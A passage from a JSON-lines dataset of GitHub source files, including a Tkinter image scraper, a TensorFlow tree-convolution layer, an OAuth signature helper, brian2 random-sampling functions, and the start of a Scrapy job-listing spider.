_images.set(()) # initialized as empty tuple\n try:\n page = requests.get(url)\n except requests.RequestException as rex:\n _statusbar(str(rex))\n else:\n soup = BeautifulSoup(page.content, 'html.parser')\n images = fetch_images(soup, url)\n if images:\n _images.set(tuple(img['name'] for img in images))\n _statusbar('Images found: {}'.format(len(images)))\n else:\n _statusbar('No images found')\n config['images'] = images\n\n# Scaning all the img objects in the page:\ndef fetch_images(soup, base_url):\n images = []\n for img in soup.findAll('img'):\n src = img.get('src')\n img_url = (\n '{base_url}//{src}'.format(base_url=base_url, src=src))\n name = img_url.split('/')[-1]\n images.append(dict(name=name, url=img_url))\n return images\n\n# function for saving the images:\ndef save():\n if not config.get('images'):\n _alert('No images to save')\n return\n\t\t\n if _save_method.get() == 'img':\n dirname = filedialog.askdirectory(mustexist=True)\n _save_images(dirname)\n else:\n filename = filedialog.asksaveasfilename(\n initialfile='images.json',\n filetypes=[('JSON','.json')])\n _save_json(filename)\n\n# Saving the choosen images in selected path:\ndef _save_images(dirname):\n if dirname and config.get('images'):\n for img in config['images']:\n img_data = requests.get(img['url']).content\n filename = os.path.join(dirname, img['name'])\n with open(filename, 'wb') as f:\n f.write(img_data)\n _alert('Done')\n\t\n# Saving choosen images like a .json file:\t\ndef _save_json(filename):\n if filename and config.get('images'):\n data = {}\n for img in config['images']:\n img_data = requests.get(img['url']).content\n b64_img_data = base64.b64encode(img_data)\n str_img_data = b64_img_data.decode('utf-8')\n data[img['name']] = str_img_data\n\t\t\t\n with open(filename, 'w') as ijson:\n ijson.write(json.dumps(data))\n _alert('Done')\n\t\n# Status Bar:\t\ndef _statusbar(arg):\n _status_msg.set(arg)\n\n# Alert function:\ndef _alert(msg):\n messagebox.showinfo(message=msg)\t\t\n\n\n# The gui:\nif __name__ == '__main__':\n\n# Defining the window:\n _root = Tk()\n _root.title('Scrape app')\n# make _root window resizable:\n _root.columnconfigure(0, weight=1)\n _root.rowconfigure(0, weight=1)\n# set default size of the window:\n _root.geometry(\"720x480\")\n# Define mainframe, where all the objects will be:\n _mainframe = ttk.Frame(_root, padding='5 5 5 5')\n _mainframe.grid(row=0, column=0, sticky=(E, W, N, S))\n# make _mainframe resizable:\n _mainframe.columnconfigure(0, weight=1)\n _mainframe.rowconfigure(0, weight=1)\n _mainframe.rowconfigure(1, weight=1)\n _mainframe.rowconfigure(2, weight=1)\n\n# Url frame, where you write the url for scrapping:\n _url_frame = ttk.LabelFrame(_mainframe, text='URL', padding='5 5 5 5')\n _url_frame.grid(row=0, column=0, sticky=(E, W))\n# make _url_frame resizable:\n _url_frame.columnconfigure(0, weight=1)\n #_url_frame.columnconfigure(1, weight=1)\n _url_frame.rowconfigure(0, weight=1)\n\n\n _url = StringVar()\n _url.set('http://localhost:8000')\n _url_entry = ttk.Entry(\n _url_frame, width=40, textvariable=_url)\n _url_entry.grid(row=0, column=0, sticky=(E, W, S, N), padx=5)\n _fetch_btn = ttk.Button(\n _url_frame, text='Fetch info', command=fetch_url)\n _fetch_btn.grid(row=0, column=1, sticky=W, padx=5)\n\n# Define the frame, where list of all images will be: \n _img_frame = ttk.LabelFrame(\n _mainframe, text='Content', padding='9 0 0 0')\n _img_frame.grid(row=1, column=0, sticky=(N, S, E, W))\n _img_frame.columnconfigure(0, weight=1)\n _img_frame.rowconfigure(0, weight=1)\n \n _images = StringVar()\n _img_listbox = Listbox(\n _img_frame, listvariable=_images, height=6, width=25)\n _img_listbox.grid(row=0, column=0, sticky=(E, W, S, N), pady=5)\n # here ^ ^ ^ we make the listbox expandable.\n _scrollbar = ttk.Scrollbar(\n _img_frame, orient=VERTICAL, command=_img_listbox.yview)\n _scrollbar.grid(row=0, column=1, sticky=(S, N), pady=6)\n _img_listbox.configure(yscrollcommand=_scrollbar.set)\n\n# Define frame for the radio buttons(buttons to select save format for the images):\n _radio_frame = ttk.Frame(_img_frame)\n _radio_frame.grid(row=0, column=2, sticky=(N, S, W, E))\n# simple lable with text for the radio buttons:\n _choice_lbl = ttk.Label(\n _radio_frame, text='Choose how to save images')\n _choice_lbl.grid(row=0, column=0, padx=5, pady=5)\n########\n _save_method = StringVar()\n _save_method.set('img')\n _img_only_radio = ttk.Radiobutton(\n _radio_frame, text='As Images', variable=_save_method, value='img')\n _img_only_radio.grid(\n row=1, column=0, padx=5, pady=2, sticky=W)\n _img_only_radio.configure(state='normal')\n##########\n _json_radio = ttk.Radiobutton(\n _radio_frame, text='As JSON', variable=_save_method, value='json')\n _json_radio.grid(row=2, column=0, padx=5, pady=2, sticky=W) \n############\n _scrape_btn = ttk.Button(\n _mainframe, text='Scrape!', command=save)\n _scrape_btn.grid(row=2, column=0, sticky=E, pady=5)\n\n# Define the frame for the StatusBar:\n _status_frame= ttk.Frame(\n _root, relief='sunken', padding='2 2 2 2')\n _status_frame.grid(row=1, column=0, sticky=(E, W, S))\n#######\n _status_msg = StringVar()\n _status_msg.set('Type a URL to start scraping...')\n _status = ttk.Label(\n _status_frame, textvariable=_status_msg, anchor=W)\n _status.grid(row=0, column=0, sticky=(E, W))\n##########\n\n _root.mainloop()\n","repo_name":"L37sg0/web-scrapper","sub_path":"guiscrape.py","file_name":"guiscrape.py","file_ext":"py","file_size_in_byte":6121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16808591012","text":"import mdp\nimport observation_table\nimport models\n\nimport sympy\nimport numpy as np\nimport time\n\nstart = time.time()\n#m = models.get_chain(3)\n#m = models.get_float_n(3)\nm = models.get_test1()\nprint(m.to_dot())\nprint(f\"MDP has {len(m.states)} states\")\nassert m.check()\nconfig1 = { 'linear_close': True, 'linear_hypothesis': True, 'tries': 100, 'max_observation_length': 5, 'cex': 'all_suffixes'}\n\ntable = observation_table.ObservationTable(m, m.observation_mapping, config1)\n\nh = table.learn_mdp()\nassert m.try_find_counter_example(h, 100, 15) is None\ntable.print_observation_table()\nprint(h.to_dot())\nprint(f\"learned mdp has {len(h.states)} states\")\n#h = table.create_hypothesis()\n#cex = m.try_find_counter_example(h)\nend = time.time()\nprint(\"took {}ms\".format((end-start)*1000))\nprint(table.stats)\n","repo_name":"Marckvdv/learnmdp","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25372660451","text":"import unittest\nfrom unittest.mock import MagicMock\n\nfrom ....pintaformas.core.tipos import Color\nfrom ....pintaformas.core.control_general.control_general import ControlGeneral\nfrom ....pintaformas.core.control_general.realizador import Realizador\nfrom ....pintaformas.core.control_general.gestor_seleccion import GestorSeleccion\nfrom ....pintaformas.core.control_general.variables_estado import VariableDeEstado\n\n\nclass TestRealizadorSeleccionarColor(unittest.TestCase):\n '''\n Comprueba la correcta comunicacion entre el Realizador y el AreaMuestrasColores\n para que se muestre el color seleccionado\n '''\n def setUp(self) -> None:\n self.vista = MagicMock()\n gestor_cursor = MagicMock()\n color_seleccionado = VariableDeEstado()\n control_cambios= MagicMock()\n estado= MagicMock()\n self.gestor_seleccion = GestorSeleccion(self.vista, estado, control_cambios)\n control_general = ControlGeneral(\n gestor_cursor = gestor_cursor,\n gestor_seleccion=self.gestor_seleccion, gestor_seleccion_circulo=MagicMock(),dibujador_en_documento=MagicMock(),vista=self.vista\n )\n self.realizador = Realizador(control_general, control_cambios, MagicMock())\n self.vista.areas.color_seleccionado.set_color_seleccionado = MagicMock()\n\n\n def test_realizador_seleccionar_color(self) -> None:\n '''realizador.seleccionar_color modifica el color_seleccionado y la muestra visible en area_muestras_colores'''\n COLOR_A_SELECCIONAR = Color((50, 50, 50))\n self.realizador.seleccionar_color(COLOR_A_SELECCIONAR)\n self.assertEqual(self.gestor_seleccion.color_pluma, COLOR_A_SELECCIONAR)\n self.assertEqual(self.vista.areas.color_seleccionado.color_seleccionado, COLOR_A_SELECCIONAR)\n\n\n\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"gulliver-madrid/pintaformas","sub_path":"src/tests/core/realizador/test_realizador_seleccionar_color.py","file_name":"test_realizador_seleccionar_color.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"493845926","text":"import tensorflow as tf\n\n\nclass ContinuousBinaryTreeConvLayer(tf.keras.layers.Layer):\n def __init__(self, feature_size, output_size):\n super().__init__()\n self.feature_size = feature_size\n self.output_size = output_size\n self.w_t = self.add_weight(\n shape=(feature_size, output_size), initializer=\"random_normal\", trainable=True, name=\"w_t\"\n )\n self.w_l = self.add_weight(\n shape=(feature_size, output_size), initializer=\"random_normal\", trainable=True, name=\"w_l\"\n )\n self.w_r = self.add_weight(\n shape=(feature_size, output_size), initializer=\"random_normal\", trainable=True, name=\"w_r\"\n )\n self.b = self.add_weight(shape=(output_size,), initializer=\"random_normal\", trainable=True, name=\"b\")\n\n def call(self, inputs):\n # nodes is shape (batch_size x max_tree_size x feature_size)\n nodes = inputs[0]\n # children is shape (batch_size x max_tree_size x max_children)\n children = inputs[1]\n children_vectors = self.children_tensor(nodes, children)\n nodes = tf.expand_dims(nodes, axis=2)\n tree_tensor = tf.concat([nodes, children_vectors], axis=2, name='trees')\n c_t = self.eta_t(children)\n c_r = self.eta_r(children, c_t)\n c_l = self.eta_l(children, c_t, c_r)\n\n coef = tf.stack([c_t, c_r, c_l], axis=3, name='coef')\n batch_size = tf.shape(children)[0]\n max_tree_size = tf.shape(children)[1]\n max_children = tf.shape(children)[2]\n\n # reshape for matrix multiplication\n x = batch_size * max_tree_size\n y = max_children + 1\n result = tf.reshape(tree_tensor, (x, y, self.feature_size))\n coef = tf.reshape(coef, (x, y, 3))\n result = tf.matmul(result, coef, transpose_a=True)\n result = tf.reshape(result, (batch_size, max_tree_size, 3, self.feature_size))\n\n # output is (batch_size, max_tree_size, output_size)\n w = tf.stack([self.w_t, self.w_r, self.w_l], axis=0)\n result = tf.tensordot(result, w, [[2, 3], [0, 1]])\n\n # output is (batch_size, max_tree_size, output_size)\n return tf.nn.relu(result + self.b, name='conv')\n\n def children_tensor(self, nodes, children):\n \"\"\"Build the children tensor from the input nodes and child lookup.\"\"\"\n max_children = tf.shape(children)[2]\n batch_size = tf.shape(nodes)[0]\n num_nodes = tf.shape(nodes)[1]\n\n # replace the root node with the zero vector so lookups for the 0th\n # vector return 0 instead of the root vector\n # zero_vecs is (batch_size, num_nodes, 1)\n zero_vecs = tf.zeros((batch_size, 1, self.feature_size))\n # vector_lookup is (batch_size x num_nodes x feature_size)\n vector_lookup = tf.concat([zero_vecs, nodes[:, 1:, :]], axis=1)\n # children is (batch_size x num_nodes x num_children x 1)\n children = tf.expand_dims(children, axis=3)\n # prepend the batch indices to the 4th dimension of children\n # batch_indices is (batch_size x 1 x 1 x 1)\n batch_indices = tf.reshape(tf.range(0, batch_size), (batch_size, 1, 1, 1))\n # batch_indices is (batch_size x num_nodes x num_children x 1)\n batch_indices = tf.tile(batch_indices, [1, num_nodes, max_children, 1])\n # children is (batch_size x num_nodes x num_children x 2)\n children = tf.concat([batch_indices, children], axis=3)\n # output will have shape (batch_size x num_nodes x num_children x feature_size)\n # NOTE: tf < 1.1 contains a bug that makes backprop not work for this!\n return tf.gather_nd(vector_lookup, children, name='children')\n\n def eta_t(self, children):\n \"\"\"Compute weight matrix for how much each vector belongs to the 'top'\"\"\"\n # children is shape (batch_size x max_tree_size x max_children)\n batch_size = tf.shape(children)[0]\n max_tree_size = tf.shape(children)[1]\n max_children = tf.shape(children)[2]\n # eta_t is shape (batch_size x max_tree_size x max_children + 1)\n return tf.tile(tf.expand_dims(tf.concat(\n [tf.ones((max_tree_size, 1)), tf.zeros((max_tree_size, max_children))],\n axis=1), axis=0,\n ), [batch_size, 1, 1], name='coef_t')\n\n def eta_r(self, children, t_coef):\n \"\"\"Compute weight matrix for how much each vector belogs to the 'right'\"\"\"\n # children is shape (batch_size x max_tree_size x max_children)\n children = tf.cast(children, tf.float32)\n batch_size = tf.shape(children)[0]\n max_tree_size = tf.shape(children)[1]\n max_children = tf.shape(children)[2]\n\n # num_siblings is shape (batch_size x max_tree_size x 1)\n num_siblings = tf.cast(\n tf.math.count_nonzero(children, axis=2, keepdims=True),\n dtype=tf.float32\n )\n # num_siblings is shape (batch_size x max_tree_size x max_children + 1)\n num_siblings = tf.tile(\n num_siblings, [1, 1, max_children + 1], name='num_siblings'\n )\n # creates a mask of 1's and 0's where 1 means there is a child there\n # has shape (batch_size x max_tree_size x max_children + 1)\n mask = tf.concat(\n [tf.zeros((batch_size, max_tree_size, 1)),\n tf.minimum(children, tf.ones(tf.shape(children)))],\n axis=2, name='mask'\n )\n\n # child indices for every tree (batch_size x max_tree_size x max_children + 1)\n child_indices = tf.multiply(tf.tile(\n tf.expand_dims(\n tf.expand_dims(\n tf.range(-1.0, tf.cast(max_children, tf.float32), 1.0, dtype=tf.float32),\n axis=0\n ),\n axis=0\n ),\n [batch_size, max_tree_size, 1]\n ), mask, name='child_indices')\n\n # weights for every tree node in the case that num_siblings = 0\n # shape is (batch_size x max_tree_size x max_children + 1)\n singles = tf.concat(\n [tf.zeros((batch_size, max_tree_size, 1)),\n tf.fill((batch_size, max_tree_size, 1), 0.5),\n tf.zeros((batch_size, max_tree_size, max_children - 1))],\n axis=2, name='singles')\n\n # eta_r is shape (batch_size x max_tree_size x max_children + 1)\n return tf.where(\n tf.equal(num_siblings, 1.0),\n # avoid division by 0 when num_siblings == 1\n singles,\n # the normal case where num_siblings != 1\n tf.multiply((1.0 - t_coef), tf.divide(child_indices, num_siblings - 1.0)),\n name='coef_r'\n )\n\n def eta_l(self, children, coef_t, coef_r):\n \"\"\"Compute weight matrix for how much each vector belongs to the 'left'\"\"\"\n children = tf.cast(children, tf.float32)\n batch_size = tf.shape(children)[0]\n max_tree_size = tf.shape(children)[1]\n # creates a mask of 1's and 0's where 1 means there is a child there\n # has shape (batch_size x max_tree_size x max_children + 1)\n mask = tf.concat(\n [tf.zeros((batch_size, max_tree_size, 1)),\n tf.minimum(children, tf.ones(tf.shape(children)))],\n axis=2,\n name='mask'\n )\n\n # eta_l is shape (batch_size x max_tree_size x max_children + 1)\n return tf.multiply(\n tf.multiply((1.0 - coef_t), (1.0 - coef_r)), mask, name='coef_l'\n )","repo_name":"S-wald/tbcnn-tf2","sub_path":"classifier/layers/ContinuousBinaryTreeConvLayer.py","file_name":"ContinuousBinaryTreeConvLayer.py","file_ext":"py","file_size_in_byte":7432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17094271614","text":"import logging\nimport hashlib\nimport random\nimport time\nfrom core import db\nfrom core.database.postgres.user import OAuthUserCredentials\n\nq = db.query\n\nlogg = logging.getLogger(__name__)\n\nlogg.info(\"imported core.oauth\")\n\n\ndef verify_request_signature(req_path, params):\n # we generate the signature from the shared secret, the request path and all sorted parameters\n # as described in the upload api documentation\n _p = params.copy()\n\n fmsg = \"verify_request_signature going to return False: \"\n if 'user' not in _p or 'sign' not in _p:\n logg.info(fmsg + \"'user' or 'sign' parameter missing in request\")\n return False\n\n oauth_user = _p.get('user')\n oauth_user_credentials_count = q(OAuthUserCredentials).filter(OAuthUserCredentials.oauth_user == oauth_user).count()\n if oauth_user_credentials_count < 1:\n logg.info(fmsg + \"no oauth user credentials known for oauth_user %r\", oauth_user)\n return False\n if oauth_user_credentials_count > 1:\n logg.info(fmsg + \"multiple oauth user credentials stored for oauth_user %r\", oauth_user)\n return False\n oauth_user_credentials = q(OAuthUserCredentials).filter(OAuthUserCredentials.oauth_user == oauth_user).one()\n workingString = oauth_user_credentials.oauth_key\n\n #try:\n # workingString = \"\"\n # for n in [h for h in tree.getRoot('home').getChildren() if h.get('system.oauthuser') == params.get('user')]:\n # workingString = n.get('system.oauthkey')\n # break\n #except:\n # return False\n\n workingString += req_path\n\n # remove signature form parameters before we calculate the test signature\n signature = _p['sign']\n del _p['sign']\n\n keylist = sorted(_p.keys())\n\n isFirst = True\n\n for oneKey in keylist:\n oneValue = _p[oneKey]\n if not isFirst:\n workingString += '&'\n else:\n isFirst = False\n workingString += '{}={}'.format(oneKey,\n oneValue)\n testSignature = hashlib.md5(workingString).hexdigest()\n return (testSignature == signature)\n\n\ndef get_oauth_key_for_user(user):\n login_name = user.login_name\n oauth_user_credentials_count = q(OAuthUserCredentials).filter(OAuthUserCredentials.oauth_user == login_name).filter(OAuthUserCredentials.user_id == user.id).count()\n if oauth_user_credentials_count == 0:\n oauthkey = ''\n elif oauth_user_credentials_count == 1:\n # retrieve that key\n oauth_user_credentials = q(OAuthUserCredentials).filter(OAuthUserCredentials.oauth_user == login_name).filter(OAuthUserCredentials.user_id == user.id).one()\n oauthkey = oauth_user_credentials.oauth_key\n else:\n oauthkey = ''\n pass #raise exception? should not happen: unique constraint on column oauth_user\n return oauthkey\n\n\ndef generate_new_oauth_key_for_user(user):\n s = db.session\n\n generated_key = hashlib.md5(str(time.time()) + str(''.join(str(random.randint(0, 9)) for i in range(40)))).hexdigest()[0:15] # generate key\n\n user_login_name = user.login_name\n\n oauth_user_credentials_count = q(OAuthUserCredentials).filter(OAuthUserCredentials.oauth_user == user_login_name).filter(OAuthUserCredentials.user_id == user.id).count()\n if oauth_user_credentials_count == 0:\n oauth_user_credentials = OAuthUserCredentials(oauth_user=user_login_name, oauth_key=generated_key, user_id=user.id)\n s.add(oauth_user_credentials)\n s.commit()\n elif oauth_user_credentials_count == 1:\n oauth_user_credentials = s.query(OAuthUserCredentials).filter(OAuthUserCredentials.oauth_user == unicode(user_login_name)).filter(OAuthUserCredentials.user_id == user.id)\n oauth_user_credentials.update({'oauth_key': generated_key})\n s.commit()\n else:\n pass #raise exception? should not happen: unique constraint on column oauth_user\n\n return generated_key","repo_name":"mediatum/mediatum","sub_path":"core/oauth.py","file_name":"oauth.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"16791708571","text":"import numpy as np\n\n\ndic_file = open('entity_dic', 'r', encoding='utf-8')\nwords = dic_file.read().split('\\n')\ndic_entity = np.array(words)\ndic_entity.sort()\n\n\ndef search(word):\n idx = dic_entity.searchsorted(word)\n\n if idx == dic_entity.shape[0]:\n return -1\n if word == dic_entity[idx]:\n return idx\n return -1\n\n\nN = 50\n\n#검색에 사용될 문서\nfile = open('wiki_morph', 'r', encoding='utf-8')\ndocs = file.read().split('\\a')\n\n#[전체 키워드의 개수, 최대 저장 개수]\n#해당 문서에서의 빈도수를 나타내는 배열\nindexer_frequency = np.zeros(shape=[dic_entity.shape[0], N], dtype=np.int32)\n#문서의 번호를 저장하는 배열\nindexer_pointer = np.zeros(shape=[dic_entity.shape[0], N], dtype=np.int32)\n\n#해당 키워드가 총 몇개의 문서에서 등장했는지 저장하는 배열\ncount = np.zeros(shape=[dic_entity.shape[0]], dtype=np.int32)\n\nfor i in range(len(docs) - 1):\n frequency = np.zeros(shape=[dic_entity.shape[0]], dtype=np.int32)\n checker = np.zeros(shape=[dic_entity.shape[0]], dtype=np.int32)\n vocab_list = []\n\n if i % 50 == 0:\n print(i, '/', len(docs))\n\n doc = docs[i].split('\\t')[1]\n\n TK = doc.split(' ')\n\n for k in range(len(TK)):\n idx = search(TK[k])\n\n if idx != -1:\n frequency[idx] += 1\n if checker[idx] == 0:\n checker[idx] = 1\n vocab_list.append(idx)\n\n for k in vocab_list:\n if frequency[k] > 0:\n point = np.array(indexer_frequency[k], dtype=np.int32).argmin()\n indexer_frequency[k, point] = frequency[k]\n indexer_pointer[k, point] = i\n\n count += checker\n\nnp.save('indexer_pointer', indexer_pointer)\nnp.save('indexer_frequency', indexer_frequency)\nnp.save('indexer_count', count)\n\n\nfile.close()\n","repo_name":"delosyCho/simple_search","sub_path":"Indexer.py","file_name":"Indexer.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18074176655","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"This module provides functions to sample from a random distribution\n\nAll functions in here should be callable in a similar way as rand() or randn() that are part of brian2\n\nPlease note: brian2 uses a specific random generator in the 'randomkit', so any seed you set in brian2 will not necessarily\napply here, depending on which rng is used. (The truncated randn uses brian2's rand, so it's fine, gamma however uses another one)\nIf you need a seed, it may be easy to implement though. (TODO!)\n\nPlease also note that, currently, there is a bug in brian2 (issue #988) that does not allow you to use the several functions\nwith the same dependencies for the same variable (but this probably happens only rarely).\n\nI used brian2/input/binomial.py as a template\n\"\"\"\n# @author: alpha\n\nimport numpy as np\nimport os\nfrom scipy.stats import truncnorm\nfrom brian2 import DEFAULT_FUNCTIONS\n\nfrom brian2 import check_units\n\nimport matplotlib.pyplot as plt\nfrom brian2 import NeuronGroup, prefs, set_device, run, ms, mV, seed\n\nfrom brian2 import Nameable, Function\nfrom brian2.utils.stringtools import replace\n\n\ndef _randn_trunc_generate_cpp_code(lower, upper, name):\n # C++ implementation\n cpp_code = '''\n float %NAME%(const int _vectorisation_idx) {\n float retVal = 0; \n do {retVal = _randn(_vectorisation_idx);\n } while ((retVal > %UPPER%) || (retVal < %LOWER%));\n return retVal;\n }\n '''\n cpp_code = replace(cpp_code, {'%NAME%': name, '%UPPER%': str(upper), '%LOWER%': str(lower)})\n cpp_code = cpp_code.replace('inf','std::numeric_limits::max()')\n dependencies = {'_randn': DEFAULT_FUNCTIONS['randn']}\n return {'support_code': cpp_code}, dependencies\n\n\nclass Randn_trunc(Function, Nameable):\n \"\"\"\n Sample from a truncated Gaussian\n We are using this in core/groups to add mismatch.\n In python it wraps truncnorm.rvs(lower, upper, size=N)\n\n refer to the example below\n \"\"\"\n implementations = {\n 'cpp': _randn_trunc_generate_cpp_code,\n }\n\n @check_units(lower=1, upper=1)\n def __init__(self, lower, upper, name='_randn_trunc*'):\n Nameable.__init__(self, name)\n\n def sample_function(vectorisation_idx):\n try:\n N = len(vectorisation_idx)\n except TypeError:\n N = int(vectorisation_idx)\n return truncnorm.rvs(lower, upper, size=N)\n\n try:\n Function.__init__(self, pyfunc=lambda: sample_function(1),\n arg_units=[], return_unit=1, stateless=False,\n auto_vectorise=True)\n except TypeError as e:\n # this is necessary for backward compatibility with brian2 < 2.3, as the argument auto_vectorise\n # does not exist\n Function.__init__(self, pyfunc=lambda: sample_function(1),\n arg_units=[], return_unit=1, stateless=False)\n\n self.implementations.add_implementation('numpy', sample_function)\n\n for target, func in Randn_trunc.implementations.items():\n code, dependencies = func(lower=lower, upper=upper, name=self.name)\n # print('target:', target, '\\ncode: ', code, '\\ndependencies: ', dependencies, '\\nname:', self.name)\n self.implementations.add_implementation(target, code,\n dependencies=dependencies,\n name=self.name)\n\n\ndef _rand_gamma_generate_cpp_code(alpha, beta, name):\n # C++ implementation\n cpp_code = '''\n std::mt19937 rng(std::random_device{}());\n // Not ideal, but probably good enough for us:\n // https://codereview.stackexchange.com/questions/109260/seed-stdmt19937-from-stdrandom-device \n // Would be good to seed the rng with a random number from brian2, so the brian2 seed affects the rng here.\n float %NAME%(const int _vectorisation_idx) {\n std::gamma_distribution distribution(%ALPHA%,1/%BETA%);\n float retVal = distribution(rng);\n \treturn retVal;\n }\n '''\n cpp_code = replace(cpp_code, {'%NAME%': name, '%BETA%': str(beta), '%ALPHA%': str(alpha)})\n dependencies = {}\n return {'support_code': cpp_code}, dependencies\n\n\nclass Rand_gamma(Function, Nameable):\n \"\"\"\n Sample from a gamma distribution.\n Refer to the example below.\n \"\"\"\n prefs.codegen.cpp.headers += ['']\n\n implementations = {\n 'cpp': _rand_gamma_generate_cpp_code,\n }\n\n @check_units(alpha=1, beta=1)\n def __init__(self, alpha, beta, name='_rand_gamma*'):\n Nameable.__init__(self, name)\n\n def sample_function(vectorisation_idx):\n try:\n N = len(vectorisation_idx)\n except TypeError:\n N = int(vectorisation_idx)\n f = -1 if beta < 0 else 1\n if N == 1:\n return f * np.random.gamma(alpha, scale=f / beta)\n else:\n return f * np.random.gamma(alpha, scale=f / beta, size=N)\n\n try:\n Function.__init__(self, pyfunc=lambda: sample_function(1),\n arg_units=[], return_unit=1, stateless=False,\n auto_vectorise=True)\n except TypeError:\n # this is necessary for backward compatibility with brian2 < 2.3, as the argument auto_vectorise\n # does not exist\n Function.__init__(self, pyfunc=lambda: sample_function(1),\n arg_units=[], return_unit=1, stateless=False)\n\n self.implementations.add_implementation('numpy', sample_function)\n\n for target, func in Rand_gamma.implementations.items():\n code, dependencies = func(alpha=alpha, beta=beta, name=self.name)\n self.implementations.add_implementation(target, code,\n dependencies=dependencies,\n name=self.name)\n\n\nif __name__ == '__main__':\n # Some examples how to use the gamma sampling\n # And some different parametrizations\n\n n_samples = 10000\n\n # outside of brian2\n rand_gamma = Rand_gamma(2, 2)\n\n gamma_samples = [rand_gamma() for _ in range(n_samples)]\n\n plt.figure()\n _ = plt.hist(gamma_samples, 50)\n plt.show()\n\n # brian2 with numpy codegen\n prefs.codegen.target = \"numpy\"\n\n ng = NeuronGroup(n_samples, 'testvar : 1')\n ng.testvar = 'rand_gamma()'\n\n plt.figure()\n plt.hist(ng.testvar, 50)\n plt.show()\n\n # keep std constant\n gamma_samples = [[Rand_gamma(alpha, np.sqrt(alpha))() for _ in range(n_samples)] for alpha in range(1, 20, 2)]\n plt.figure()\n _ = plt.hist(gamma_samples, 500, histtype='step')\n plt.show()\n\n print(np.mean(gamma_samples, 1))\n print(np.std(gamma_samples, 1))\n\n # set mean and std like in normal dist\n std = 0.2 * mV\n mu = -0.4 * mV #\n alpha = (1 / std ** 2) * mu ** 2\n beta = (1 / std ** 2) * mu * 1000 * mV\n gamma_samples = [Rand_gamma(alpha, beta)() * 1000 for _ in range(n_samples)]\n plt.figure()\n _ = plt.hist(gamma_samples, 500, histtype='step', density=True)\n plt.show()\n\n print(np.mean(gamma_samples))\n print(np.std(gamma_samples))\n print(np.var(gamma_samples))\n\n # %% It also works in standalone mode:\n standaloneDir = os.path.expanduser('~/gamma_standalone')\n set_device('cpp_standalone', directory=standaloneDir, build_on_run=True)\n seed(42) # does not affect sampling from gamma distribution!\n\n\n ng = NeuronGroup(n_samples, '''\n testvar : 1\n testvar2 : 1''', name = 'ng_test')\n ng.namespace.update({\n 'rand_gamma': Rand_gamma(4.60, -10750.0),\n 'randn_trunc': Randn_trunc(-1.5,1.5)\n })\n ng.testvar = 'rand_gamma()'\n ng.testvar2 = '5*randn_trunc()'\n\n run(10 * ms)\n\n plt.figure()\n plt.title('rand_gamma')\n plt.hist(ng.testvar, 50, histtype='step')\n plt.show()\n\n plt.figure()\n plt.title('randn_trunc')\n plt.hist(ng.testvar2, 50, histtype='step')\n plt.show()\n","repo_name":"russelljjarvis/teili","sub_path":"teili/tools/random_sampling.py","file_name":"random_sampling.py","file_ext":"py","file_size_in_byte":8086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"9120759306","text":"import scrapy\nimport re\nimport unidecode\n\n# running: scrapy crawl indeed -o indeed_data.json\n\nclass IndeedSpider(scrapy.Spider):\n\tname = 'indeed'\t\n\t\n\t# def start_requests(self):\n\t\t\n\tstart_urls = [\n\t\t'https://www.indeed.co.in/jobs-in-Bangalore,-Karnataka',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Mumbai%2C+Maharashtra',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Suratkal%2C+Karnataka',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Delhi',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Trivandrum%2C+Kerala',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Chennai%2C+Tamil+Nadu',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Pune%2C+Maharashtra',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Mangalore%2C+Karnataka',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Manipal%2C+Karnataka',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Bekal%2C+Kerala',\n\t\t'https://www.indeed.co.in/jobs?q=&l=Goa'\n\t]\n\n\t\t# for url in start_urls:\n\t\t\t# yield scrapy.Request(url=url, callback=self.parse)\n\t\t# \tnext_page = response.xpath(\"//span[@class='np']/../../@href\").extract_first()\n\t\t# \tif next_page is not None:\n\t\t# \t\tnext_page_link = response.urljoin(next_page)\n\t\t# \t\tyield scrapy.Request(url=next_page_link, callback=self.parse)\n\t\t\t\t\n\n\tdef parse(self, response):\n\t\tfor job in response.xpath(\"//div[contains(@class,'jobsearch-SerpJobCard') and contains(@class,'unifiedRow')]\"):\n\t\t\t\n\t\t\t##### COMPANY NAME\n\t\t\tcompany=job.xpath(\"normalize-space(.//span[@class='company']/text())\") \n\t\t\t# print(\"company:\", company.extract_first())\n\t\t\tif company.extract_first() == '':\n\t\t\t\tcompany=job.xpath(\"normalize-space(.//a[@class='turnstileLink']/text())\")\n\n\t\t\t##### SALARY\n\t\t\tsalary_data=job.xpath(\"normalize-space(.//span[contains(@class, 'salary')])\")\n\t\t\tsalary=salary_data.re(r'[₹][A-Za-z0-9,]+')\n\t\t\tif salary:\n\t\t\t\tif len(salary)==2:\n\t\t\t\t\tlow_sal=float(re.sub('[,₹]','',salary[0]))\n\t\t\t\t\thigh_sal=float(re.sub('[,₹]','',salary[1]))\n\t\t\t\t\tsalary=(low_sal+high_sal)/2\n\t\t\t\t\t# print(\"Salary averaged!\")\n\t\t\t\telse:\n\t\t\t\t\tsalary=salary[0]\n\t\t\t\t\tsalary=int(re.sub('[,₹]','',salary))\n\t\t\t\t# print(salary)\n\t\t\t\tif 